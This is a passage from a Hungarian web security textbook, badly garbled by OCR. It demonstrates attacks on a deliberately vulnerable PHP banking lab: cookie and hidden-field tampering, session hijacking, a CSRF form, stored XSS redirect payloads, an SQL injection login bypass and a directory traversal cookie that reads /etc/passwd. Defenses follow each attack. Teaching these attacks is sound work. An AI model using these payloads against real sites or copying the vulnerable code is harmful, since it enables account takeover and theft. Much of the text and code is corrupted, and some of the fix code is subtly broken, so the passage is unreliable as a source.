| haggryam@n kévktbo®yésdési kzokRsbikddd ®t a z § |

BRv2tsg¢gk Ki a tformah Ezdlacbiejelentketetl felhasznadd dpigonyos dsszegeket
kildhetegy méasiknak.

€« C @ localhost:90/websec/transactions.php?userToken=89dcad 1a-476¢-11eb-8004-00090faa0001

To UserName™: Amount:

List of transactions
transaction id from to amount
2 bob admin 222

3 admin bob 333

80. abra Tranzakciok

AzSQLel| ®g egyszer T

1. //Add new transaction
2. if (! empty($_POST'fromUserName' ]) and ! empty($_POST'ToUserName'])) {
3

4. $query ="insert into transactions(fromUser, toUser, amount)

5. values (" . $_POST'fromUserName' ] .™™ . $ POST'ToUserName'] .™"
, POST'Amount' |1 . ")" ;

6.

7. $result = mysqli_query ($connect , $query );

8 if (! $result ){

9 die (' error while running query’ );

10. }

11. }

12.

A fejleszt R most -kdhbagznddl & bejelentkezatt delhasandoofthasenalonevenek
mentéséhez.

A b°ng®szR ezeket az adatokat | ement.

Header request
Client Cookies Server

Header response

81. abra Cookie kezelés

A login.plp f4jlban mentsuk el a felhasznaldi nevet eggkieba.
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setcookie( 'userName' |, $logininUser,false,"/" false);
Ha az Al kal maz8sok f¢lre kattint u-kak, akkor

€« C @ localhost90/websec/loginphp

Enter your username

Password

Password

Server data:

username: admin

password: admin

query: select * from users where userliame-'admin’ and password-'admin’

Login successful for (admin)

Transactions

[% O] | Elements Console Sources Network Performance  Memory  Application  Security  Lighthouse
Application C  Filter ] O Only show cookies with an issue
W Manifest Name Value Domain Path Expires / Max-Age Size HitpC

userMame admin localhost ’/ Session 13

Select a cookie to preview its value

82 8bra A b°ng®%«zRben t8rolt cooki

A transactions.php f8jl ban adjuk hozz§ ezt

1. <formid ='login' action ='transactions.php' method='post’  accept - charset ='UTF-8' >

2. <div class ="row" >

3. <div class ="col -sm">

4. <label for =ToUserName' >To UserNamé:</ label >

5. </div >

6. <div class ="col -sm">

7. <input type ='text' class ="form -controlmb -2 mr-sm 2" name'ToUserName'
id =ToUserName' maxlength ="50" required />

9. </div >

10. <div class ="col -sm">

11. <label  for =Amount’ >Amount</ label >

12. </ div >

13. <div class ="col -sm">

14. <inputtype ='text’ class ="form -controlmb -2 mr-sm2" name'Amount'
Amount’ maxlength ="50" required />

15. <inputtype ="hidden" name="fromUserName" value ="<?=
$_COOKIE['userName'];?>" />

16. </div >

17. <div class ="col -sm">

18. <inputtype ='submit" class ="btn btn -primary mb -2" name'Submit’ submit'
value ='Send" />

19. </div >

20. </div >

21. </ form >

22.

Vegyukeészre, hogy van egy rejtett bememetyUserName €s ennek az értéke a cookidl szarmazik.
A k-d, amely a felhaszn8l  -nevet a tokenbRI

$userName = $_COOKIE[ ‘'userName' J;

Lépjiink be Adminként és kiildjink4 4 ®r t ®k Rlicé résaérez ak ci - t
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To UserName™:

alice Amount: 444‘

83. abra Tranzakcio Alice részére

A tranzakciokmegjelennek

List of transactions

transaction id from to amount
2 bob admin 222
3 admin bob 333
a admin alice 444

84. 4bra Tranzakciok listaja

Téritsuk el sltta konzol abl ak§8ban .felhdsenaloi Révigt Az ®rt ®ket f

[w ﬂ Elements  Console  Sources

M ® | top y &  F

document.cookie

rilame

document.cookie="userName=bob"

“userhame=bob"

* document.cookie

85 8bra Felhaszn8l - -i n®v 8§t2r8sa a b°ng®szR k

Most kuldjink egy kis pénzt az adminnak. (Megjegyzés: adminként jelentkeztink be, igy a pénzt
magunknak kuldjik).

Adjuk meg a kildeni kivant értéket, és nyomjuk meg a Send gombot.

Z

To UserName™ Amount:

admin

86. abra Tranzakcié Admin részére
Ha a suti el van téritve,@énzt Bob szamlajardl kaldtuk.

List of transactions

transaction id from to amount
1 alice bob 111
2 bob admin 222
3 admin bob 333
6 bob admin 666

87. Abra Az eltéritettranzakcié Bob szamlajardl

Ennek el ker¢l ®se ®rdek®ben ell enRrizhet¢imkRI hog
szolgaljuke ki . Ezeket a b°ng®szR fejlesztRi eszk®zei
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A megol d8s az, hogy nem a sima felhaszn8l - n®v me

Rejtett adatmezRs t8mad8sok

Most mar biztonsagossé tehetjik a cockieet . De ha megvi zsg8ljuk a p®n
forr8s8t, | 8tni fogjuk, hogy rejtett mezR van be

himl lang="en

¥ <head>..</head
¥ <body data-new-gr-c-s-check-loaded="14.998.8" data-gr-ext-installed
¥ <div class="container
¥<form id="login" action="transactions.php” method="post" accept-charset="UTF-8

v<div class="row

s="col-sm" ».</div
s="col-sm" ».</div
s="col-sm" ».</div

4 v vy

s5="col-sm
input type="text" class="form-controcl mb-2 mr-sm-2" name="Amount” id="Amount” maxlength="58" required
input type="hidden” name="fromUserName” valus="bob"}: == %8
fdiv

. :;:1;i:siyssol;jgmit class="btn btn-primary mb-2" name="Submit"” id="submit" value="Send
/form
88 8§bra Rejtett mezR
A hacker megvs8ltoztathatja a Abobodo nevet. A meg
tov8bb2tson a rejtett mez Rkben, mer t azok | 8t hat
URL UGRASOSTAMADAS

Amikor beijuka k° vet ktezaR BDPRLg®szRbe, megjelenik a felhe
http://localhost:90/websec/addUser.php

Ez azt jelenti, hogy mindenki, aki ismeri ezt az URL 0 felhasznal6t vehet fel a rendszerbe.
Szeretnénk ezt ugy elkertlni, hogy csak a bejelentkezett felhasznaldk vehessenek fel Uj felhasznaldkat.

A szerver egy sessiofgjlt tart karban, amelybe informacidkat tarol. Ez j6 hely lehet a bejelentkezett
felhaszndal6 nevének tarolasara. Ha ez limzaz nincs bejelentkezett felhaszrijlakkor az addUser
oldalt nem szabad megjeleniteni.

1. <?php

2. session_start ();

3.

4. if (isset ($_SESSION"userName"])){

5. echo "Serving user: " . $_SESSION"userName"];
6. }else {

7 die ("You have no permission to load the page" );
8. return ;

9. }

10. 7>

11

A bejelentkezési oldalon elmentjik felhasznalénevet a session fajlba.

1 $logininUser = null ;

2 $userToken = null ;

3. while ($row = mysqli_fetch_assoc ($result )) {
4, $logininUser = $row[ "userName"];

5 $userToken = $row[ "userToken" ;

6 $_SESSION'userName"] = $logininUser
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break ; |

Fontos, hogy anuiRkarerfeteEhbelz & phpgbssitnsstarll) a parancsa szikséges

SESSIONELTERITES

A session eltérités mdgott azmotivaci¢ hogy a hackerek ellbyajak a session adatokata z el Rz R
példan keresztill lathattuk, hogy bizonyos funkciokatasedssem | ® v R adat ok tesznel

Session identifier

Client Server
«—— Cookies
(]
- T Server response
Hacker

89 8&bra Session mik°d®se

Vizsg8ljuk meg a | ogi n oA dba°ln g @skzGR @ seRtl eas zbt°Fig ®ess:
egy Network (halozat) ful. Ha a meghivott szerverhez tartozé hivast kivalasztjuk, akkor lathatjuk a
kérés fejlécét:

X Headers Preview Response nitiator  Timing  Cookies
v uEnerar

Request URL: http://localhost:98/websec/login. php
Request Method: GET
Status Code: @ 2080 0K
Remote Address: [::1]:98
Referrer Policy: strict-origin-when-cross-origin
¥ Response Headers view source
Connection: Keep-alive
Content-Length: 1317
Content-Type: text/html
Date: Sat, 26 Dec 2828 16:47:19 GMT
Keep-Alive: timeout=5, max=102
Server: Apache/2.4.9 (Win32) OpenSSL/1.@.lg PHP/5.5.11
X-Powered-By: PHP/5.5.11
¥ Request Headers ViEW sOUrce
Accept: text/html,applications/xhiml+xml,application/xml;g=02.9,image/avif,image /webp,image/apng,*/*;9=2.8,application/signed-exch
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;g=8.9,hu;q=0.8
Connection: keep-alive
Cookie: useriame=admin
Host: localhost:9@
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigats
Sec-Fetch-Site: none
Sec-Fetch-User: 71
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Windows NT 18.6; Win&4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.8.4288.88 Safari/537.36

90. abra A kérés adatai
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Lathatdé, hogy s z 8 m2t - g®pemen a remote address (t8voli
Chrome/87.0.4280.88

Ha azt szeretnénk, hogy csak ezen a gépen,esak e | a b°ng®szRvel f ®rj ¢nk
hozzunk létre egy flggvényt, amely egyedi hash ge ner § | ezekbRI az infor ms§
1. // generate a verification string from IP and user agent

2. function getuserAgentinfo (){

3 $user_agent = $ SERVERHTTP_USER_AGEN]T"

4 $ip = null ;

5. if (I empty($_SERVERHTTP_CLIENT_IP'])) {

6. $ip = $_SERVERHTTP_CLIENT_IP']:

7 } elseif (! empty($_SERVERHTTP_X FORWARDED ADR'{

8 $ip = $_SERVERHTTP_X_FORWARDED_HAOR'

9. } else {

10. $ip = $ SERVERREMOTE_ADDR'

11. }

12. return  $ip . " . $user_agent

13. }

14.

Ezutan adjunk hozza olyan kodot, ami ezt a Hasdmenti a session f4jlbAdjunk hozza olyan kodot,

amelyel  enRrzi, hogy az I P cé&m vagy a b°ng®szR meg
1. /Ifirst time login generates token

2. if (empty($_SESSIONUPCI' ])) {

3 $ SESSION'UPCI' | = md§ getUserPCinfo (), PASSWORD_DEFAULT

4. } else {

5. /I ask user to re -open the browser

6 if (! password_verify ( getUserPCinfo (), $ SESSIONUPCI'] ) ) {

7 die ("You are not using a valid Token, close the browser and open it again” );

8 }

9

Ezzel kivédtik a session eltérités hatasait. A session el&x#tdms kockazatot hordoz magaban,

hiszen a tamado a felhasznal6 nevében Iéphet be olyan szolgéaltatdsokba, amelyeket mar hitelesitett.
igy a tamado kozvetlen hozzaférést nyerhet érzékeny informéaciokhoz, mint példaul személyes
adatokhoz, banki informaciékhpidzenetekhez, privat képekhez vagy zleti titkokhoz. Mindezt

anélkil, hogy a hozzéaférést jelszoval vagy mas hitelesitéssel kellene kezdeményeznie. Ennek hatasara
a felhasznal6 adatvédelme sulyosan sérllhet, és olyan adatok kerllhetnek illetéktelen kezekbe
amelyeket egyébként szigortan védett.

A session elt®r2t®s tov8§bbi hatg8sa a szolg8ltat §
l ehet. A t8mad- a megszerzett munkamenet r ®v®n Kk
nevében, példaul pénziigyi tranzakcidkat, vasarlasokgt wzenetklldést. Ez kilbndsen veszélyes,

hiszen a felhasznal6 sajat tudta nélkil kertlhet olyan helyzetbe, ahol illetéktelen tranzakcidkat

hajtanak végre a nevében, ami pénzigyi veszteségekhez és az online fiokok megbizhatosaganak
csokkenéséhez vezethet.

A tdmadok kihasznéalhatjak ezt a hozzéaférést arra is, hogy kartékony tevékenységeket végezzenek,

amel yek negat2?v hat8ssal vannak a szolg8ltat§8sras
spam Uzenetek kiildésére vagy tovabbi tamadasok elindibesmaalhatjak fel a megszerzett

sessiont, igy nemcsak az érintett felhasznal6t, hanem masokat is veszélyeztetnek. Ezenkivil a session
eltérités reputacids karokat okozhat a szolgaltatas szamara, hiszen a felhasznalok elveszithetik a
bizalmukat a biztonsagtézkedések irant, ha egy ilyen tamadas kovetkeztében adatlopas torténik.
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¥sszess®yg®ben a session elt®r2t®s hat 8§sai sokr ®t
kockézatokon tul pénziigyi veszteségekhez, reputacids kdrokhoz és az érintett rendszer
megbizhatésaganak csokkenéséhez vezethetnek. Emiatt elengedhetetlen, hagpmtimele

szolgaltatas kiemelt figyelmet forditson a munkamenetek biztonsagara és a felhasznal6i adatok
védelmére.

CROSS SITE REQUEST FORGERY

ACrossSite Request Forgery (CSRF), magyarul Awebhel
tamadasi technika, amely sordn a tamadd megprobalja arra kényszeriteni a felhasznal6t, hogy
akaratl anul , a saj 8t nev ®be teghlatglesitetbweboldag vagy egy |
szolgaltatdsban. A CSRF tdmadasok kulondsen veszélyesek, mert a felhasznalé tudta és beleegyezése
nN®l k¢l tort®nhetnek, kihaszn8lva a b°ng®szRben t
(session) sutiket.

Egy CSRF t8mad8s wgy =zajl ik, hogy a t&8mad- | ®t r
amely egy meghat8rozott mTveletet hajt v®gre eg
jelentkezve. Ez lehet példaul egy pénziigyi tranzakcié inditagdigdgadatainak médositasa vagy egy
hozzaszélas irasa. A tAmadd ezutan arra 6sztbnzi a felhasznalot, hogy kattintson erre a linkre, vagy
esetl eg egy §r-malbemuaagy hadetdshen rejtvd heRezi el a csapdat. Amikor a
felhaszndloi aki hitelesitve van a céloldaloin r 8§k at t i nt vagy betol ti az
automatikusan elkildi a sziikséges sitiket és hitelesitési adatokat, és igy a kérés valodi felhasznaldi
nevében teljesdl.

A CSRF tamadéas azért kiloéndsen alattomos, méelhasznalo teljesen tudatlanul hajtja végre a

mTvel etet, ®s mivel a k®r®st a saj 8t hiteles2t
jogosnak érzékelheti azt. A tAmadas célja gyakran pénziigyi kdrokozas, mint példaul atutalasok inditasa
egylmnki fi-kb-1, vagy adminisztr8tori szintT mTv
karokat okozhat.

Az ilyen t2pus? t8mad8sok sor8n a t &m&dPvem&kewiRz
k®pernyRn | 8that- kiemelt forr8sk-d r®szlet seg?
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c @ view-sourceilocalhost:90/websec/transactions.php?userToken=89dcad1a-476c-11eb-8004-00090faa0001

2| <html lang="en"»

3| <head>

4 <title>Transactions</titler

5 <meta charset="utf-8">

] <meta name="viewport” content="width=device-width, initial-scale=1"»

7 <!-- Bootstrap (S5 --»

] <link href="https://cdn.jsdelivr.net/npm/hootstrapfs.a.8-betal/dist/css/bootstrap.min.css” rel="stylesheet” crossorigin="anonymous™"»
] <!-- Bootstrap Bundle with Popper --»

0 <script src="https://cdn.jsdelivr.net/npm/hootstrap@s.a.8-betal/dist/js5/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
11| </head>

accept-charset="UTF-8"3>

' method="post’

7 <

12 <label for='ToUserName' >To UserName®:</label>
5 .

0

h="58" required />

21 <input type="text' class="form-control mb-2 mr-sm-2" name="ToUserName' id="TolserMame' maxleng

m-control mb-2 mr-sm-2" name="Amount’ id="Amount' maxleng
fromUserName™ value="bob™ />

* class="btn btn-primary mb-2" name='Submit' id='submit® value='Send" />

35 <br /x<br [¥<br />
3% <h2> List of transactions</h2>

37 <table class="table table-bordered table-striped”>

38 <thead>

3 <trs>

40 <th> transaction id </td>

41 <th> from </td>

42 <th> to</td>

43 <th> amount</td>

44 <ftry

45 </thead>

45 <tbody>

47 <tr class='success'> <td»1 </td> <tdralice </td> <tdrbob</td> <td>11l</td> </tr> <tr class="danger's> <td»2 </td> <tdrbob </td> <tdradmin</td> <td>
42 </table>

49 </fdiv>

50 </body>

9. &bra Az Trlap forr8sk-dja

Masojuk ki a kiemelt széveget, éaentsikk el egy fajlba a helyi szamitogép@SsFR.html néven.

1. <formid ='login’
action ='http://localhost:90/websec/transactions.php?userToken=89dcadla - 476c- 11eb- 8004-
00090faa0001" method="post’  accept - charset ='UTF-8' >
<div class ="row" >

<div class ="col -sm">

<label for =ToUserName' >To UserNameé:</ label >

</ div >

<div class ="col -sm">
. <input type ='text' class ="form -control mb -2 mr-sm 2" name'ToUserName'
id =ToUserName' maxlength ="50" required />

Nookwdh

8. </div >

9. <div class ="col -sm">

10. <label  for =Amount’ >Amount</ label >

11. </div >

12. <div class ="col -sm">

13. <input type ='text' class ="form -controlmb -2 mr-sm2" name'Amount'
'Amount’  maxlength ="50" required />

14. <inputtype ="hidden" name="fromUserName" value ="bob" />

15. </div >

16. <div class ="col -sm">

17. <input type ='submit" class ="btn btn -primary mb -2" name'Submit" 'submit'
value ='Send' />

18. </div >

19. </div >

20. </ form >

21.
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Moédositsik az action paramétert dorm tagben, hogy a szerver URE mutasson. Meni& el a
modositastés nyisukme g a b°ng®szRben.

< C @ File | D/TEMP/CSRF.html

To UserName*:

| alice |
Amount:

|77 |

Send

92. abra Asajat gépen futé hamis oldal

Adiukme g az adat ok a jikehazpénitrBarazpotaon @egjelenik héhany hibaiizenet,
pl.:

<« C  © localhost90/websec/transactions php?userToken=89dcad1a-476c-11eb-5004-00090f220001

To UserName™: Amount:

(@B Notice: Undefined index: userName
in
D:\xampp\htdocs\websec\transactions.php
on line 28 Call Stack
#TimeMemoryFunctionLocation
10.0011149496({main}(
)-\transactions.php:0 * />

List of transactions

transaction id from to amount

# Time Memory Function Location
1 00011 149496 {main}( ) .Atransactions.php:0

93. 4bra Hibalizenetek

Deaz adatbazisban megjelenik az 0j rekord, amit most adtunkhozzdz a z a skiekn&tzkh et Rs ®g
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Php 7 Server: 127.0.0.1 » @ Database: websec » [ Table: transactions
DBO0E [E Browse | 34 Structure | L] SQL 4 Search = ¥t Insert [& Export E
(Recent tables) .. ~ )
+ Showing rows 0 - 6 (7 total, Query took 0.0075 sec)
B New
+ | applictarsk
|
+_4 cdcol
¥ | information_schema SELECT * FROM " transactions’
-||-— 1 mysql
-||-— || performance_schema
I
+~ 1 phpmyadmin
.',._ | realsis1 Number of rows: | 25 ~
$ ) test
o | webauth Sort by key:| None ~
-II-— | webbroker .
T2 websec + Options
F_dN +—T— + id fromUser toUser amount
aw
- ransachions [ &7 Edit %2 Copy @ Delete 1 alice bob m
- Columns [J 7 Edit % Copy @ Delete 2 bob admin 222
[, New [] 7 Edit % Copy @ Delste 3 admin  |bob 333
e »Edit 3: Copy @ Delete 4 admi i 44
| fromUser [ g7 Edit %t Copy @ Delete admin alice
1id [ g7 Edit %2 Copy @ Delete 5 admin alice 555
[ toUser [ &7 Edit % Copy @ Delete & bob admin 666
*Hz| Indexes [ & Edit %iCopy @ Delete 7 bob alice 777
=kt users -
= Columns t [ CheckAll  With selected: 7 Change @ Delete [ Export
f, New
I password - Number of rows: | 25 w

94. abra Az adatbazis rekordok megjelennek

A CSRF tAmadasok elleni védekezés egyik legfontosabb eszkéze a CSRF tokenek hasznalata. A CSRF

token egy egyedi azonosz2t -, amel yet a szerver
amelyet az adott kérés soran vissza kell kildeni. Ha a szerogem hianyat vagy helytelenségét

®r z®kel i, megtagadja a k®r ®st, 2gy a t8mad:- ne.i
nev®ben. Ezenkzvygl a felhaszns8l -k v®del m®t a hi't
is segitheti, amely megakd 81 yoz z a, hogy m§ s webol dal akr - |

hozzaférjenek ezekhez a siitikhez

A mi implementacionk aa z , hogy minden tranzakci-hoz egy Vv®]
Haszn8l ni fo#ggdrk a k°vetkezR

unigid($prefix, $moreEntopy = true) ,
Egy v®l etlen sz8mot al kal mazunk el Rtagk®nt, ®s |

md5(unigid(mt_rand(), true));
A kodot médositsuk Ggy, hogy hozzhg uk a k°vet kezR k-dot

<?php
/I Code to avoid CSRF attack
/I make sure it is post process
session_start  ();
if ($_POST {
/I if token not vaild reject request
if ($_POST"csrf" ] != $_SESSION'token" 1) {
echo " not valid request” ;
return ;

©COoNoTOrWONE

N
©

}

/I create new token for every new request

N
=

N
N
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| 13. $ SESSION'token” ] = mdJ unigid (mt_rand(), true )); |
14. 2>
15.

Ez biztositja, hogy a session elinduljon. Ha a hivds POST hivas, ékkeehasonlitjuk a csrf
paramétert a sessidn8j | ba ment et t tokennel . Ha az &ell enR
Egy®bk®nt v®l etlenszer T tokfHjba gener 8l unk, ®s el

Acsrf-et rejtett param®terk®nt kel hozz8adni az Tr
| 1. <input type="hidden" name="csrf" value=" <?= $ SESSION‘token' [;?> "/> |
Ennek eredményeként, ha egy tAmadisélopj a az eg®sz Trl apot, akkor

lehet kitalalni, igy nem hajtodik végre tranzakcio.

CROSS SITE SCRIPTING

ACrossSi te Scripting (XSS) egy olyan webes biztons:
rosszindul at¥ szkripteket injekt8ljanak a webol
futnak le. Ezek a tdmadasok altaldban a weboldal nem mlegielei nput el | enRr z®s ®b R

a bevitt adatok nem megfelel Ren ker¢l nek semlege
oldal részeként jeleniti meg a tamado altal bevitt kddot. A szkriptek gyakran JavaScript formajaban
jelennek megde mas szkriptnyelvek is alkalmazhaték, mint példaul HTML vagy VBScript.

A tamadas akkor torténik, amikor egy tAmadod olyan rosszindulatt kédot helyez el egy weboldalon, amit
az 8l dozat v®grehajt a saj 8t b°ng®szRj®ben. P®ld
paraméterbe helyezett szkriptet a weboldal nem mégfgle n sz Tr , akkor a ko°vet
amikor egy masik felhasznal6 megtekinti az oldalt, a kod lefut, mintha azt maga a weboldal helyezte
volnael. Példakéntthj unk hozz8 egy megjegyz®sek mezRt a tr;

I CTiSewver 127.0.0.1> @ Database: websec » [} Table: fransaciions.

[ Browse 34 Structure | [ SQL 4 Search 3 Insert [ Export &} Import =7 Privileges = g° Operations ® Tracking 3% Triggers
Structure &)

Name Type & LengthiValues & Default & Collation Attributes. Null Index Al Comments MIME type Browser Transformation
transformation options &

notes VARCHAR ¥l 2o None v v v O |- v O v v

95. 8bra Megjegyz®s mezR hozz8ad§8sa

Atransactions.php 8j | ban adj uk hozz8§8 az % mezRt a formho

1. <?php

2. <formid ='login’ action ='transactions.php' method="post’  accept - charset =UTF-8' >
3. <div class ="row" >

4. <div class ="col -sm">

5. <label for =ToUserName' >To UserNamé:</ label >

6. </ div >

7. <div class ="col -sm">

8. <input type ='text' class ="form -controlmb -2 mr-sm 2" name="ToUserName'
id =ToUserName' maxlength ="50" required />

9. </ div >

10. <div class ="col -sm">

11. <label  for =Amount’ >Amount</ label >

12. </ div >

13. <div class ="col -sm">

14. <inputtype =text' class ="form -controlmb -2 mr-sm2" name'Amount'

id =Amount’ maxlength ="50" required />
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15. <input type ="hidden" name="fromUserName" value ="<?=
$_COOKIE['userName']; ?>" />

16. <input type="hidden" name="csrf" value=" <?= $_SESSIONtoken' [;?> "/>
17. </div>

18. <div class ="col -sm">

19. <label for ='Notes' >Notes: </label>

20. </div>

21. <div class ="col -sm">

22. <input type ='text'class  ="form -controlmb -2 mr-sm2" name'Notes'
id ='Notes' />

23. </div>

24, <div class ="col -sm">

25. <input type ='submit’  class ="btn btn -primary mb -2" name'Submit'
id ='submit'  value ='Send" />

26. </div>

27. </div>

28. </form>

29. ?>

30.

A tranzakci - -k |ist8j8ban adjuk hozz§ az Vj
1. <h2> List of transactions </h2>

2. <table class ="table table  -bordered table - striped" >

3. <thead>

4. <tr>

5. <th> transaction id </td >

6. <th> from </td>

7. <th> to</td >

8. <th> amount</td >

9. <th> notes </td >

10. </tr >

11. </thead >

Es a tablddrzséhez is:

1. while ($row= mysqli_fetch_assoc ($result )) {
2. $rowColor ="class='success" ;

3. if ($row[ "fromUser" ]==$userName {

4. $rowColor ="class='danger" ;

5. }

6. echo "<tr" . $rowColor .">";

7. echo "<td>" . $row["id" ] ."</td>" ;

8. echo "<td>" . $row["fromUser" ] ."</td>" ;
9. echo " <td>" . $row[ "toUser" ]. "</td>" ;
10. echo "<td>" . $row["amount"]. "</td>" ;
11. echo "<td>" . $row["notes" ]. "</td>" ;
12. echo "</tr>"

13. }

Az Insert queryis modositando:

$query ="insert into transactions(fromUser, toUser, amount, notes)
values (" . $_POST'fromUserName' ] .™"™ . $_POST'ToUserName'] .""

$ POST'Amount' ] .™" . $ POST'Notes' | . ") ;

Most igy néz ki a tranzakciok oldal:
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&« C  © localhost90/websec/transactions.php * B g} :

To UserName™:

Amount: Notes:

List of transactions

transaction id

1

2

irjuk bea

Barmilyen kodot végrehajthank Hozainklétre példaukgyfakepage.php e ¥ajit, és modositsk a

hivast erre:

<script>

from to amount notes
alice bob 111
bob admin 222
admin bob 333
bob admin 666
bob alice 777
bob alice 888
96. 8bra A tranzakci-s oldal a megjegyz®s me:

k °© v davdSaigk8dot anotes (pgyzetekme z Rb e :

<script>alert('’XSS
Mostantél, amikor a tranzakciés lista megjelenidaaaScripkdd végrehajtdik.

testing")</script>

localhost:20 says

XS5 testing

97. bra XSS teszt

document.location="http://localhost:90/websec/fakepage.php";</script>
Es a tranzakcios fajl at lesz iranyiwmae az oldalra

e

Fake transactions page

A jav2t8s

C @ localhost:90/websec/fakepage.php

98. 4bra Hamis tranzakcios oldalra ugras

me g | e h ejukis elre geygzyest zeekr Tme zeRt k: -ad slo r

1. while ($row= mysqli_fetch_assoc ($result )) {
2. $rowColor ="class="success"

3. if ($row[ "fromUser" ]==$userNameg {

4. $rowColor ="class='danger"

5. }

6. echo "<tr" . $rowColor .">";

7. echo "<td>" . $row["id" ] ."</itd>"

8. echo "<td>" . $row[ "fromUser" ] ."</td>"
9. echo " <td>" . $row[ "toUser" ]. "</td>"
10. echo "<td>" . $row["amount"]. "</td>"
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| 11. echo "<td>" . htmlentities ($row[ "notes" ]). "</td>" ; |
| 12. echo " </tr>" |
| 13. } |
24 |
A m-dosult ztanzakci-s |lista a k°PvetkezR | ett:
& > C @ localhost90/websec/transactions.php
To UserName™ Amount: Notes:

List of transactions
Array ()

L N -
s

-

3

3

@

@

bob alice 888 <script> document!

ocation="http://localhost:30/websec/fakepage.php'; </script>

99. abra Atranzakcios lista

SQLINJECTION

Nézzik meg a lekérdezést alogin oldalonAz SQL | ek ®r dez®s. amel yelle
jelszavat, igy néz ki:

‘select * from users where userName='admin' and password="admin’ ‘

Az el sR sztring konstans a f el ha 96n.MBtortenik®aa me z Rb |
jelsz- mezR be2rjuk az

o6 00616 = 061

értéket? A lekérdezés igy fog megjelenni:

‘select * from users where userName='admin' and password='0" or R1R = RLR ‘

Ezzel kihagyjuk a jelsz&@ | e n Rr z ®uhdre, feklbélmindigaigaz lesz. igy be tudunk lépni
adminkéntEzt a tamadast nevezzik SQL Injectionndlz. SQL injection akkor kbvetkezik be, ha az
alkalmazas SQL lekérdezéseket futtat anékid, gy megf el el Ren szTrn® vagy
bemenetekeMi ndi g el |l enRri zni ®s korl 8tozni kel a f
amelyek az adatbazishoz kapcsolédnak.

Egy lehetzségewmegoldas a prepared statemeptd (Rk ®s z 2 t )aalkalmazasaa s 2t § s 0 k

A phpkézikényv prepared statements oldala azt mondja:
(https://www.php.net/manual/en/mysqli.quickstart.prepatatements.php)

AMySQLadat b8zis t8mogatja az el Rk®sz2tett wutas?t §
utasitds hasznalhat6é ugyanazon utasitas ismételt végrehajtasara.

Az el Rk®sz?2tett utas?2t8§s v®grehajtgsa kot szaka
szakaszban egy sablont kild az adatbiéziss z ol g 81 - nak . A szerver szint
inicializ8lja a kiszohasgr@lata. bel sR er Rf orr 8sait KkG@
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1. $query ="select userName from login where userName=? and password=?"

2. $logininUser =null ;

3. /* create a prepared statement */

4, if ($stmt = $mysqli - >prepare ($query)) {

5

6. /* bind parameters for markers */

7. $stmt - >bind_param ("ss" , $_POST'userName' ], $_POST 'password' ]);
8. /* execute query */

9. $stmt - >execute ();
10.
11. /* bind result variables */
12. $stmt - >bind_result ($logininUser );
13.
14. /* fetch value */
15. $stmt - >fetch ();
16.
17. /*close  statement*/
18. $stmt - >close ();
19. }
20.
21. /* close connection */
22. $mysqli - >close ();
23.
A bind_parametee | sR par am®t ere :egy t2pusle?2r.- karakter
Karakter Leiras

i integer

d double

S string

b blob (csomagokban kiildve)
A fenti mi ntak-dban k®t karakterl 8nc t2pus¥% kar s

KONYVTAR BEJARAS

Sok operéacids rendszerben vannak specidlis karakterek, amelyek bizonyos kényvtarba valé athaladast
jelentenek. példaul ../ (dot dot perjel) azt jelenti, hogméglyiinkegy konyvtar szirgta struktaraban

<?php

$fname= 'myfile.php’ ;

if (isset ($_COOKIEFNAMEY]) {
$template = $_COOKIEFNAMET,

include "/home/users/oliver/work/" . $fname;

Nogh~wdbPE

Linux rendszerben allitsuk be a cookie értékétk ©° vet kez R m- don, hogy el jus
fajlhoz:

Cookie:FNAME =../../.1..[..1..]..].]..]etc/passwd

igy a kimenet:

| root : ge4jPT12ivkL7 : 0: 1: System Operator :/:/ bin / ksh
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| daemon*: 1:1:/ tmp: |

A kdnyvtdrb e j 8r 8s (directory traversal) egy biztonsg§
tamado hozzaférjen olyan fajlokhoz és konyvtarakhoz egy szerveren, amelyekhez alapértelmezés
szerint nem lenne jogosultsaga. Ez a sérilékenység akkor lépéeglya al kal maz8s nem m
korlatozza a felhasznal6i bemeneteket, amelyek fajlelérési Utvonalakat tartalmazhatnak. A tamadoé
specialis karakterekkel, mint példaul a ../ (vagy forditott perjel Windows rendszereken), képes lehet a
konyvtarstruktlran kiviifajlok elérésére.

A tAmado ugy maédositja a fajlelérési Gtvonalat, hogy az a fajlrendszer gyokérkonyvtara felé haladjon,
példaul a ../ karakterlancok hasznéalataval, amelyek egy szinttel feljebb |épnek a fajlrendszerben.

Azilyenj el t Emdd8&8sok megel Rz®s®re a k°vetkezR lehetR

1. Nem engedjik a speciakarakterekhasznalatat, ilyenek a pont ponslash, backlastvagy
ezek enkddolt verzigjat:

1 %2e%2e%26 mi nek a megfel el Rje
1T %2e%2eami nek a megfelel Rje

T .%2fami nek a megfel el Rj e

1 %2e%2e%5a mi nek a rtegfel el Rj e
I %cl%lc

1 %c0%af

2. A fajlneveket abszolut utvonalra konvertéljuk, és biztositjuk, hogy minkeagyyanabbdl a
dokumentum utvonalrdl indul.

3. Bemenet validg§l §sa ®s szTr®se: Az al kal maz§sn
bemenetek nem tartalmaznak specialis karaktereket, mint példaul ../ vagy forditott\perjel (
amelyeket kdnyvtarbejarasra hasznalhatnanak.

4. Legszigorubb fajlrendszer jogosultsagok alkalmazasa: A fajlokhoz és konyvtarakhoz csak a
szukséges minimalis jogosultsagokat rendeljik hozz4, igy a szerver védettebbé valik akkor is,
ha mas rések kihasznalhatok lennének.

DDOSTAMADAS

A DDoS (Distributed Deniabf Service, magyarul elosztott szolgaltatasmegtagadas) tamadas egy olyan
kibertamadasi forma, amelynek célja, hogy egy adott rendszer, példaul egy weboldal vagy szolgaltatas,
elérhetetlenné valjon a felhasznaldék szamara. A tdmadas lényege, hogy nagsaé&imegyszerre
bombézza a célzott szervert vagy halozatot adatforgalommal, igy az nem képes feldolgozni a valédi
felhasznalok kérését, és a rendszer lassul vagy teljesen leéll.

A DDoS tamadasok altalaban egy botnet, azaz zombihal6zat segitségével zajlanak. Egy botnet szamos,
rosszindul at ¥ szoftverrel megfertRz°%°tt seg¥m2t - - geQ
Azombi 6, ®s a t8&mad- i raamgdas ag&nado azomtbihflozgtdtitanyitigd mi k o
hogy egyszerre kuldjenek kéréseket a célzott rendszer felé, ezzel tdlterhelve azt. Mivel a tamadas sok
kel onb°zR forr8sb-1 ®rkezik (ez®rt Aelosztotto),
